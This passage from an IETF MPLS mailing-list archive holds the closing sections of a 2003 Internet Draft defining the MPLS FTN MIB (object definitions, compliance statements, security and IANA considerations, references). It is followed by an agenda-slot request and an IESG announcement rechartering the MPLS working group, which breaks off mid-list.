Internet Draft                 MPLS FTN MIB                 October 2003



        corresponds to an instance of mplsFTNMapCurrIndex."
   ::=3D  { mplsFTNPerfEntry 2 }

mplsFTNPerfMatchedPackets OBJECT-TYPE
   SYNTAX              Counter64
   MAX-ACCESS          read-only
   STATUS              current
   DESCRIPTION
       "Number of packets that matched the specified FTN entry
        if it is applied/mapped to the specified interface.
        Discontinuities in the value of this counter can occur
        at re-initialization of the management system, and at
        other times as indicated by the value of
        mplsFTNDiscontinuityTime."
   ::=3D { mplsFTNPerfEntry 3 }

mplsFTNPerfMatchedOctets OBJECT-TYPE
   SYNTAX              Counter64
   MAX-ACCESS          read-only
   STATUS              current
   DESCRIPTION
       "Number of octets that matched the specified FTN entry
        if it is applied/mapped to the specified interface.
        Discontinuities in the value of this counter can occur
        at re-initialization of the management system, and at
        other times as indicated by the value of
        mplsFTNDiscontinuityTime."
   ::=3D { mplsFTNPerfEntry 4 }

mplsFTNPerfDiscontinuityTime OBJECT-TYPE
   SYNTAX              TimeStamp
   MAX-ACCESS          read-only
   STATUS              current
   DESCRIPTION
       "The value of sysUpTime on the most recent occasion at
        which any one or more of this entry's counters suffered
        a discontinuity.  If no such discontinuities have
        occurred since the last re-initialization of the local
        management subsystem, then this object contains a zero
        value."
   ::=3D { mplsFTNPerfEntry 5 }

-- End of mplsFTNPerfTable

-- Module compliance.

-- Top level object IDs.
mplsFTNGroups
   OBJECT IDENTIFIER ::=3D { mplsFTNConformance 1 }
mplsFTNCompliances



MPLS Working Group              Expires April 2004             [Page 30]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   OBJECT IDENTIFIER ::=3D { mplsFTNConformance 2 }

-- Compliance requirement for fully compliant implementations.
mplsFTNModuleFullCompliance MODULE-COMPLIANCE
   STATUS current
   DESCRIPTION
       "Compliance statement for agents that provide full
        support for MPLS-FTN-STD-MIB."

   MODULE IF-MIB -- The Interfaces Group MIB, RFC 2863.
   MANDATORY-GROUPS {
      ifGeneralInformationGroup,
      ifCounterDiscontinuityGroup
   }

   MODULE -- This module.
   MANDATORY-GROUPS {
      mplsFTNRuleGroup,
      mplsFTNMapGroup,
      mplsFTNPerfGroup
   }

   OBJECT mplsFTNAddrType
   SYNTAX InetAddressType { ipv4(1), ipv6(2) }
   DESCRIPTION
       "An implementation is only required to support IPv4
        and/or IPv6 addresses.  An implementation is only
        required to support the address types that are actually
        supported on the LSR."

   OBJECT mplsFTNSourceAddrMin
   SYNTAX       InetAddress (SIZE (4 | 20))
   DESCRIPTION
       "An implementation is only required to support IPv4
        and/or IPv6 addresses.  An implementation is only
        required to support the address types that are actually
        supported on the LSR."

   OBJECT mplsFTNSourceAddrMax
   SYNTAX       InetAddress (SIZE (4 | 20))
   DESCRIPTION
       "An implementation is only required to support IPv4
        and/or IPv6 addresses.  An implementation is only
        required to support the address types that are actually
        supported on the LSR."

   OBJECT mplsFTNDestAddrMin
   SYNTAX       InetAddress (SIZE (4 | 20))
   DESCRIPTION
       "An implementation is only required to support IPv4



MPLS Working Group              Expires April 2004             [Page 31]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



        and/or IPv6 addresses.  An implementation is only
        required to support the address types that are actually
        supported on the LSR."

   OBJECT mplsFTNDestAddrMax
   SYNTAX       InetAddress (SIZE (4 | 20))
   DESCRIPTION
       "An implementation is only required to support IPv4
        and/or IPv6 addresses.  An implementation is only
        required to support the address types that are actually
        supported on the LSR."

   ::=3D { mplsFTNCompliances 1 }

-- Compliance requirement for read-only implementations.
mplsFTNModuleReadOnlyCompliance MODULE-COMPLIANCE
   STATUS current
   DESCRIPTION
       "Compliance requirement for implementations that only
        provide read-only support for MPLS-FTN-STD-MIB. Such
        devices can then be monitored but cannot be configured
        using this MIB module."

   MODULE IF-MIB -- The interfaces Group MIB, RFC 2863
   MANDATORY-GROUPS {
      ifGeneralInformationGroup,
      ifCounterDiscontinuityGroup
   }
  =20
   MODULE -- This module
   MANDATORY-GROUPS {
      mplsFTNRuleGroup,
      mplsFTNMapGroup,
      mplsFTNPerfGroup
   }
  =20
   OBJECT mplsFTNIndexNext
   MIN-ACCESS   not-accessible
   DESCRIPTION
       "This object is not needed when mplsFTNTable is
        implemented as read-only."

   OBJECT mplsFTNRowStatus
   SYNTAX       RowStatus { active(1) }
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required, and active is the only
        status that needs to be supported."

   OBJECT mplsFTNDescr



MPLS Working Group              Expires April 2004             [Page 32]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNMask
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNAddrType
   SYNTAX       InetAddressType { ipv4(1), ipv6(2) }
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required. An implementation is only
        required to support IPv4 and IPv6 addresses."

   OBJECT mplsFTNSourceAddrMin
   SYNTAX       InetAddress (SIZE (4 | 20))
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required. An implementation is only
        required to support IPv4 and IPv6 addresses."

   OBJECT mplsFTNSourceAddrMax
   SYNTAX       InetAddress (SIZE (4 | 20))
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required. An implementation is only
        required to support IPv4 and IPv6 addresses."

   OBJECT mplsFTNDestAddrMin
   SYNTAX       InetAddress (SIZE (4 | 20))
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required. An implementation is only
        required to support IPv4 and IPv6 addresses."

   OBJECT mplsFTNDestAddrMax
   SYNTAX       InetAddress (SIZE (4 | 20))
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required. An implementation is only
        required to support IPv4 and IPv6 addresses."

   OBJECT mplsFTNSourcePortMin
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNSourcePortMax



MPLS Working Group              Expires April 2004             [Page 33]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNDestPortMin
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNDestPortMax
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNProtocol
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNActionType
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNActionPointer
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNDscp
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNStorageType
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."

   OBJECT mplsFTNMapRowStatus
   SYNTAX       RowStatus { active(1) }
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required, and active(1) is the only
        status that needs to be supported."

   OBJECT mplsFTNMapStorageType
   MIN-ACCESS   read-only
   DESCRIPTION
       "Write access is not required."



MPLS Working Group              Expires April 2004             [Page 34]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003




   ::=3D { mplsFTNCompliances 2 }
  =20
-- Units of conformance.
mplsFTNRuleGroup OBJECT-GROUP
   OBJECTS {
         mplsFTNIndexNext,
         mplsFTNTableLastChanged,
         mplsFTNRowStatus,
         mplsFTNDescr,
         mplsFTNMask,
         mplsFTNAddrType,
         mplsFTNSourceAddrMin,
         mplsFTNSourceAddrMax,
         mplsFTNDestAddrMin,
         mplsFTNDestAddrMax,
         mplsFTNSourcePortMin,
         mplsFTNSourcePortMax,
         mplsFTNDestPortMin,
         mplsFTNDestPortMax,
         mplsFTNProtocol,
         mplsFTNActionType,
         mplsFTNActionPointer,
         mplsFTNDscp,
         mplsFTNStorageType
   }
   STATUS current
   DESCRIPTION
       "Collection of objects that implement MPLS FTN rules."
   ::=3D { mplsFTNGroups 1 }

mplsFTNMapGroup OBJECT-GROUP
   OBJECTS {
         mplsFTNMapTableLastChanged,
         mplsFTNMapRowStatus,
         mplsFTNMapStorageType
   }
   STATUS current
   DESCRIPTION
       "Collection of objects that implement activation of MPLS
        FTN entries on interfaces."
   ::=3D { mplsFTNGroups 2 }

mplsFTNPerfGroup OBJECT-GROUP
   OBJECTS {
         mplsFTNPerfMatchedPackets,
         mplsFTNPerfMatchedOctets,
         mplsFTNPerfDiscontinuityTime
   }
   STATUS current



MPLS Working Group              Expires April 2004             [Page 35]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   DESCRIPTION
       "Collection of objects providing MPLS FTN performance
        information."
   ::=3D { mplsFTNGroups 3 }

END


10.   Security Considerations
  =20
   This MIB module can be used to configure LSRs to redirect non-MPLS
   traffic into an MPLS cloud. As such, improper manipulation of the
   objects represented in this MIB module may result in traffic being
   redirected to unintended destinations, potentially resulting in
   denial of service to end-users.
  =20
   There are a number of management objects defined in this MIB module
   with a MAX-ACCESS clause of read-write and/or read-create.  Such
   objects may be considered sensitive or vulnerable in some network
   environments.  The support for SET operations in a non-secure
   environment without proper protection can have a negative effect on
   network operations.  These are the tables and objects and their
   sensitivity/vulnerability:
  =20
   -  mplsFTNTable and mplsFTNMapTable can be used to create packet
      matching rules for classifying IPv4 or IPv6 traffic and
      redirecting matched packets into the MPLS cloud.  Modifying
      objects in these tables can result in misdirection of traffic and
      potential denial of service to end-users.  It may also result in
      traffic which was intended to be redirected into the MPLS cloud
      being routed through the IP network instead, potentially
      resulting in degradation of service quality or outright denial of
      service.
  =20
   Some of the readable objects in this MIB module (i.e., objects with a
   MAX-ACCESS other than not-accessible) may be considered sensitive or
   vulnerable in some network environments.  It is thus important to
   control even GET and/or NOTIFY access to these objects and possibly
   to even encrypt the values of these objects when sending them over
   the network via SNMP.  These are the tables and objects and their
   sensitivity/vulnerability:
  =20
   -  mplsFTNPerfTable provides counters for monitoring the performance
      of packet classification rules defined in mplsFTNTable and
      mplsFTNMapTable.  Unauthorized read access to objects in these
      tables may be used to gain traffic flow information.
  =20
   SNMP versions prior to SNMPv3 did not include adequate security.
   Even if the network itself is secure (for example by using IPSec),
   even then, there is no control as to who on the secure network is



MPLS Working Group              Expires April 2004             [Page 36]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   allowed to access and GET/SET (read/change/create/delete) the objects
   in this MIB module.
  =20
   It is RECOMMENDED that implementers consider the security features as
   provided by the SNMPv3 framework (see [RFC3410], section 8),
   including full support for the SNMPv3 cryptographic mechanisms (for
   authentication and privacy).
  =20
   Further, deployment of SNMP versions prior to SNMPv3 is NOT
   RECOMMENDED.  Instead, it is RECOMMENDED to deploy SNMPv3 and to
   enable cryptographic security.  It is then a customer/operator
   responsibility to ensure that the SNMP entity giving access to an
   instance of this MIB module is properly configured to give access to
   the objects only to those principals (users) that have legitimate
   rights to indeed GET or SET (change/create/delete) them.


11.   IANA Considerations
  =20
   As described in [MPLSMGMT] and as requested in [TCMIB], MPLS related
   standards-track MIB modules should be rooted under the mplsStdMIB
   subtree.  New assignments can only be made by a standards action as
   specified in [RFC2434].


11.1. IANA Considerations for MPLS-FTN-STD-MIB
  =20
   The IANA is requested to assign mplsStdMIB.8 to the MPLS-FTN-STD-MIB
   module specified in this document.


12.   References


12.1. Normative References
  =20
   [RFC2119]     S. Bradner, "Key Words for use in RFCs to Indicate
                 Requirement Levels", RFC 2119, BCP 14, March 1997.
  =20
   [RFC2578]     McCloghrie, K., Perkins, D., Schoenwaelder, J., Case,
                 J., Rose, M., and S. Waldbusser, "Structure of
                 Management Information Version 2 (SMIv2)", STD 58, RFC
                 2578, April 1999.
  =20
   [RFC2579]     McCloghrie, K., Perkins, D., Schoenwaelder, J., Case,
                 J., Rose, M., and S. Waldbusser, "Textual Conventions
                 for SMIv2", STD 58, RFC 2579, April 1999.
  =20
   [RFC2580]     McCloghrie, K., Perkins, D., Schoenwaelder, J., Case,
                 J., Rose, M., and S. Waldbusser, "Conformance



MPLS Working Group              Expires April 2004             [Page 37]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



                 Statements for SMIv2", STD 58, RFC 2580, April 1999.
  =20
   [RFC2863]     McCloghrie, K. and F. Kastenholz, "The Interfaces
                 Group MIB", RFC 2863, June 2000.
  =20
   [RFC3031]     Rosen, E., Viswanathan, A., and R. Callon,
                 "Multiprotocol Label Switching Architecture", RFC
                 3031, January 2001.
  =20
   [RFC3289]     Baker, F., Chan, K., and A. Smith, "Management
                 Information Base for the Differentiated Services
                 Architecture", RFC 3289, May 2002.
  =20
   [RFC3291]     Daniele, M., Haberman, B., Routhier, S. and J.
                 Schoenwaelder, "Textual Conventions for Internet
                 Network Addresses", RFC 3291, May 2002.
  =20
   [RFC3411]     Harrington, D., Presuhn, R., and B. Wijnen, "An
                 Architecture for Describing Simple Network Management
                 Protocol (SNMP) Management Frameworks", RFC 3411,
                 December 2002.
  =20
   [LSRMIB]      Srinivasan, C., Viswanathan, A. and T. Nadeau, "MPLS
                 Label Switch Router Management Information Base ",
                 Internet Draft <draft-ietf-mpls-lsr-mib-12.txt>,
                 August 2003.
  =20
   [TEMIB]       Srinivasan, C., Viswanathan, A. and Nadeau, T., "MPLS
                 Traffic Engineering Management Information Base ",
                 Internet Draft <draft-ietf-mpls-te-mib-12.txt>, August
                 2003.
  =20
   [TCMIB]       Nadeau, T., Cucchiara, J., Srinivasan, C.,
                 Viswanathan, A., Sjostrand, H. and K. Kompella,
                 "Definition of Textual Conventions and OBJECT-
                 IDENTITIES for Multi-Protocol Label Switching (MPLS)
                 Management", Internet Draft <draft-ietf-mpls-tc-mib-
                 09.txt>, August 2003.
  =20
   [MPLSMGMT]    Nadeau, T., Srinivasan, C., and A. Farrel,
                 "Multiprotocol Label Switching (MPLS) Management
                 Overview", Internet Draft <draft-ietf-mpls-mgmt-
                 overview-09.txt>, September 2003.


12.2. Informative References
  =20
   [RFC791]      J. Postel, "Internet Protocol", RFC 791, STD 5,
                 September 1981.
  =20



MPLS Working Group              Expires April 2004             [Page 38]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   [RFC1519]     Fuller, V., Li, T., Yu, J. and K. Varadhan, "Classless
                 Inter-Domain Routing (CIDR): an Address Assignment and
                 Aggregation Strategy", RFC 1519, September 1993.
  =20
   [RFC2026]     S. Bradner, "The Internet Standards Process --
                 Revision 3", RFC 2026, October 1996.
  =20
   [RFC2434]     Narten, T., and H. Alvestrand, "Guidelines for Writing
                 an IANA Considerations Section in RFCs", BCP 26, RFC
                 2434, October 1998.
  =20
   [RFC2460]     Deering, S., and R. Hinden, "Internet Protocol,
                 Version 6 (IPv6) Specification", RFC 2460, December
                 1998.
  =20
   [RFC2474]     Nichols, K., Blake, S., Baker, F. and D. Black,
                 "Definition of the Differentiated Services Field (DS
                 Field) in the IPv4 and IPv6 Headers", RFC 2474,
                 December 1998.
  =20
   [RFC3410]     Case, J., Mundy, R., Partain, D. and B. Stewart,
                 "Introduction and Applicability Statements for
                 Internet-Standard Management Framework", RFC 3410,
                 December 2002.


13.   Authors' Addresses

  Thomas D. Nadeau
  Cisco Systems, Inc.
  300 Apollo Drive
  Chelmsford, MA 01824
  Phone: +1-978-244-3051
  Email: tnadeau@cisco.com

  Cheenu Srinivasan
  Bloomberg L.P.
  499 Park Avenue
  New York, NY 10022
  Tel: +1-212-893-3682
  Email: cheenu@bloomberg.net

  Arun Viswanathan
  Force10 Networks, Inc.
  1440 McCarthy Blvd
  Milpitas, CA 95035
  Phone: +1-408-571-3516
  Email: arunv@force10networks.com





MPLS Working Group              Expires April 2004             [Page 39]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



14.   Acknowledgements
  =20
   We would particularly like to thank Bert Wijnen for the substantial
   time and effort he spent in helping us improve this document. We
   would also like to thank David Perkins, Joan Cucchiara, Mike Piecuch,
   and Adrien Grise for their insightful comments and additions to this
   document.


15.   Full Copyright Statement
  =20
   Copyright (C) The Internet Society (2001). All Rights Reserved.
  =20
   This document and translations of it may be copied and furnished to
   others, and derivative works that comment on or otherwise explain it
   or assist in its implementation may be prepared, copied, published
   and distributed, in whole or in part, without restriction of any
   kind, provided that the above copyright notice and this paragraph are
   included on all such copies and derivative works.  However, this
   document itself may not be modified in any way, such as by removing
   the copyright notice or references to the Internet Society or other
   Internet organizations, except as needed for the purpose of
   developing Internet standards in which case the procedures for
   copyrights defined in the Internet Standards process must be
   followed, or as required to translate it into languages other than
   English.
  =20
   The limited permissions granted above are perpetual and will not be
   revoked by the Internet Society or its successors or assigns. This
   document and the information contained herein is provided on an "AS
   IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING TASK
   FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT
   NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION HEREIN
   WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.


16.   Intellectual Property Considerations
  =20
   The IETF takes no position regarding the validity or scope of any
   intellectual property or other rights that might be claimed to
   pertain to the implementation or use of the technology described in
   this document or the extent to which any license under such rights
   might or might not be available; neither does it represent that it
   has made any effort to identify any such rights.  Information on the
   IETF's procedures with respect to rights in standards-track and
   standards   related documentation can be found in BCP-11.  Copies of
   claims of rights made available for publication and any assurances of
   licenses to be made available, or the result of an attempt made to
   obtain a general license or permission for the use of such



MPLS Working Group              Expires April 2004             [Page 40]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   proprietary rights by implementers or users of this specification can
   be obtained from the IETF Secretariat.
  =20
   The IETF invites any interested party to bring to its attention any
   copyrights, patents or patent applications, or other proprietary
   rights which may cover technology that may be required to practice
   this standard.  Please address the information to the IETF Executive
   Director.













































MPLS Working Group              Expires April 2004             [Page 41]

------=_NextPart_000_0005_01C3973B.F7FA5A70--



From owner-mpls@UU.NET  Tue Oct 21 10:36:33 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20665
	for <mpls-archive@lists.ietf.org>; Tue, 21 Oct 2003 10:36:33 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpljm19524
	for <mpls-archive@lists.ietf.org>; Tue, 21 Oct 2003 14:36:41 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpljm19262;
	Tue, 21 Oct 2003 14:36:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpljk24582
	for mpls-outgoing; Tue, 21 Oct 2003 14:10:52 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpljk24577
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 21 Oct 2003 14:10:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpljk14744
	for <mpls@UU.NET>; Tue, 21 Oct 2003 14:09:25 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpljk26078
	for <mpls@UU.NET>; Tue, 21 Oct 2003 14:09:25 GMT
Received: from almso1.proxy.att.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: almso1.att.com [192.128.167.69])
	id QQpljk26065
	for <mpls@UU.NET>; Tue, 21 Oct 2003 14:09:24 GMT
Received: from attrh5i.attrh.att.com ([135.38.62.12])
	by almso1.proxy.att.com (AT&T IPNS/MSO-5.0) with ESMTP id h9LE7LZ8017729
	for <mpls@UU.NET>; Tue, 21 Oct 2003 10:09:15 -0400
Received: from KCCLUST06EVS1.ugd.att.com (135.38.164.88) by attrh5i.attrh.att.com (6.5.032)
        id 3F307C6C013F8EED; Tue, 21 Oct 2003 10:08:58 -0400
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: tentative agenda for Minneapolis
Date: Tue, 21 Oct 2003 09:09:09 -0500
Message-ID: <7AFE40EF30EE754DA967D1B5968457CA1578A4@KCCLUST06EVS1.ugd.att.com>
Thread-Topic: tentative agenda for Minneapolis
Thread-Index: AcOXLlwUrp6EanjmSuqaVnbS2ZcjggArdEKQ
From: "Lai, Wai S (Waisum), ALABS" <wlai@att.com>
To: "Loa Andersson" <loa@pi.se>, "mpls wg" <mpls@UU.NET>
Cc: "Ash, Gerald R (Jerry)" <gash@att.com>, "Chung, Li-Jin W" <lic@att.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: quoted-printable

Loa,
  We have just submitted yesterday the following draft:
"A Supplementary History Module for the MPLS LDP-MIB,"
<draft-lai-mpls-ldp-hist-mib-00.txt>.
Hopefully, it will be announced on the list soon.
  May I request a slot in the agenda below for the
discussion of this draft?
Thanks, Wai Sum =20

-----Original Message-----
From: Loa Andersson [mailto:loa@pi.se]
Sent: Monday, October 20, 2003 12:33 PM
To: mpls wg
Subject: tentative agenda for Minneapolis


All,

I've started to build the IETF58 mpls agenda at:

http://urax.utfors.net/~loa/mpls-agenda.htm

Note this is so far just a collection of the agenda slots
requests. If your request is not there, ping me again.

/Loa

--=20
Loa Andersson

Mobile          +46 739 81 21 64
Email           loa@pi.se





From owner-mpls@UU.NET  Tue Oct 21 11:03:32 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA22207
	for <mpls-archive@lists.ietf.org>; Tue, 21 Oct 2003 11:03:31 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpljo17772
	for <mpls-archive@lists.ietf.org>; Tue, 21 Oct 2003 15:03:40 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpljo17541;
	Tue, 21 Oct 2003 15:03:32 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpljm27484
	for mpls-outgoing; Tue, 21 Oct 2003 14:41:20 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpljm27479
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 21 Oct 2003 14:41:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpljm10469
	for <mpls@uu.net>; Tue, 21 Oct 2003 14:40:25 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpljm19037
	for <mpls@uu.net>; Tue, 21 Oct 2003 14:40:25 GMT
Received: from sj-iport-5.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQpljm19018
	for <mpls@uu.net>; Tue, 21 Oct 2003 14:40:25 GMT
Received: from cisco.com (171.68.223.138)
  by sj-iport-5.cisco.com with ESMTP; 21 Oct 2003 07:41:59 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-4.cisco.com (8.12.6/8.12.6) with ESMTP id h9LEeLbd007723
	for <mpls@uu.net>; Tue, 21 Oct 2003 07:40:21 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADI29534;
	Tue, 21 Oct 2003 10:40:20 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9LEeKv03578 for mpls@uu.net; Tue, 21 Oct 2003 10:40:20 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpljm27281
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 21 Oct 2003 14:39:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpljm06427
	for <mpls@uu.net>; Tue, 21 Oct 2003 14:38:40 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpljm16917
	for <mpls@uu.net>; Tue, 21 Oct 2003 14:38:40 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpljm16755
	for <mpls@uu.net>; Tue, 21 Oct 2003 14:38:33 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20741;
	Tue, 21 Oct 2003 10:38:05 -0400 (EDT)
Message-Id: <200310211438.KAA20741@ietf.org>
From: The IESG <iesg-secretary@ietf.org>
To: IETF-Announce:;
Cc: George Swallow <swallow@cisco.com>, Loa Andersson <loa@pi.se>, mpls@UU.NET
Subject: WG Action: RECHARTER: Multiprotocol Label Switching (mpls)
Date: Tue, 21 Oct 2003 10:38:05 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

The Multiprotocol Label Switching (mpls) working group in the Routing Area of 
the IETF has been rechartered.  For additional information, please contact 
the Area Directors or the working group Chairs.

With this announcement, the Multiprotocol Label Switching (mpls) WG is moved 
to the Routing Area with Alex Zinin as the responsible area director.

Multiprotocol Label Switching (mpls)
------------------------------------

Current Status: Active Working Group

Chair(s):

George Swallow <swallow@cisco.com>
Loa Andersson <loa@pi.se>

Routing Area Director(s):

Bill Fenner <fenner@research.att.com>
Alex Zinin <zinin@psg.com>

Routing Area Advisor:

Alex Zinin <zinin@psg.com>

Mailing Lists:

General Discussion: mpls@uu.net
To Subscribe: mpls-request@uu.net
In Body: subscribe (unsubscribe)
Archive: http://cell.onecall.net/cell-relay/archives/mpls/mpls.index.html

Description of Working Group:

The MPLS working group is responsible for standardizing a base
technology for using label switching and for the implementation of
label-switched paths over various packet based link-level
technologies, such as Packet-over-Sonet, Frame Relay, ATM, and
LAN technologies (e.g. all forms of Ethernet, Token Ring, etc.).
This includes procedures and protocols for the distribution of
labels between routers and encapsulation.

The working group is also responsible for specifying the necessary
MIBs for the functionality specified in the base MPLS technology.

The first generation of the MPLS standards are largely complete,
and the current WG work items are:

- procedures and protocols for multicast protocol extensions for
  point-to-multipoint TE, including soft-preemption

- Define requirements and mechanisms for MPLS OAM

- Define an overall OAM framework for MPLS applications

- MPLS-specific aspects of traffic engineering for multi-areas/multi-AS
  in cooperation with the CCAMP WG

- Determine (with CCAMP) what procedures are appropriate for evaluating
  proposals to extend the MPLS and GMPLS protocols, and document these

The Working Group chairs tracking of the working group documents can be
viewed at http://urax.utfors.net/~loa/MPLS_WG_Drafts.htm

Goals and Milestones:

Done Submit documents from original MPLS effort to IESG
Done Framework for IP multicast over label-switched paths ready for advancement.
Done LDP fault tolerance specification ready for advancement to Proposed Standard.
Done Specification for MPLS-specific recovery ready for advancement.
Done Submit Multiprotocol Label Switching (MPLS) Forward
                   Equivalency Class-To-Next Hop Label Forwarding Entry
                   Management Information Base to the IESG for publication as
                   Proposed Standards
Done Submit Definitions of Managed Objects for MultoiProtocol
                   Label Switching, Label Distribution Protocol (LDP) to the
                   IESG for publication as Proposed Standards
Done Submit Multiprotocol Label Switching (MPLS) Label Switching
                   Router (LSR), Management Information Base to the IESG for
                   publication as Proposed Standards
Done Submit Multiprotocol Label Switching (MPLS) Management Overview
                   to the IESG for publication as Proposed Standards
Done Submit Definitions of Textual Conventions for Multiprotocol
                   Label Switching (MPLS) Management to the IESG for publication
                   as Proposed Standards
Done Submit Multiprotocol Label Switching (MPLS) Traffic
                   Engineering Management Information Base to the IESG for
                   publication as Proposed Standards
Oct 03 Advance the Label Distribution Protocol to Draft Standard.
Oct 03 Submit the Traffic Engineering Link MIB to the IESG for
                   as a Proposed Standard
Oct 03 Submit a specification on Encapsulations to carry MPLS over
                   IP and GRE to the IESG for as a Proposed Standard
Nov 03 Together with CCAMP complete and establish the (G)MPLS change
                   process
Apr 04 Advance MPLS Architecture and MPLS encapsulation to Draft
                   Standard
Apr 04 Submit a specification on Soft Pre-emption of LSP Tunnels to
                   the IESG for publication as a Proposed Standard
Nov 03 Submit specification on LSP Ping to the IESG for publication
                   as a Proposed Standard
Apr 04 Submit specification on LSR Self Test to the IESG for
                   publication as a Proposed Standard
Aug 04 Submit an OAM Framework Document to the IESG for publication
                   as an Informational RFC
Oct 04 Advance "Extension to RSVP for LSP Tunnels" to Draft
                   Standard
Nov 04 Submit a document defining the scope, requirements, and issues 
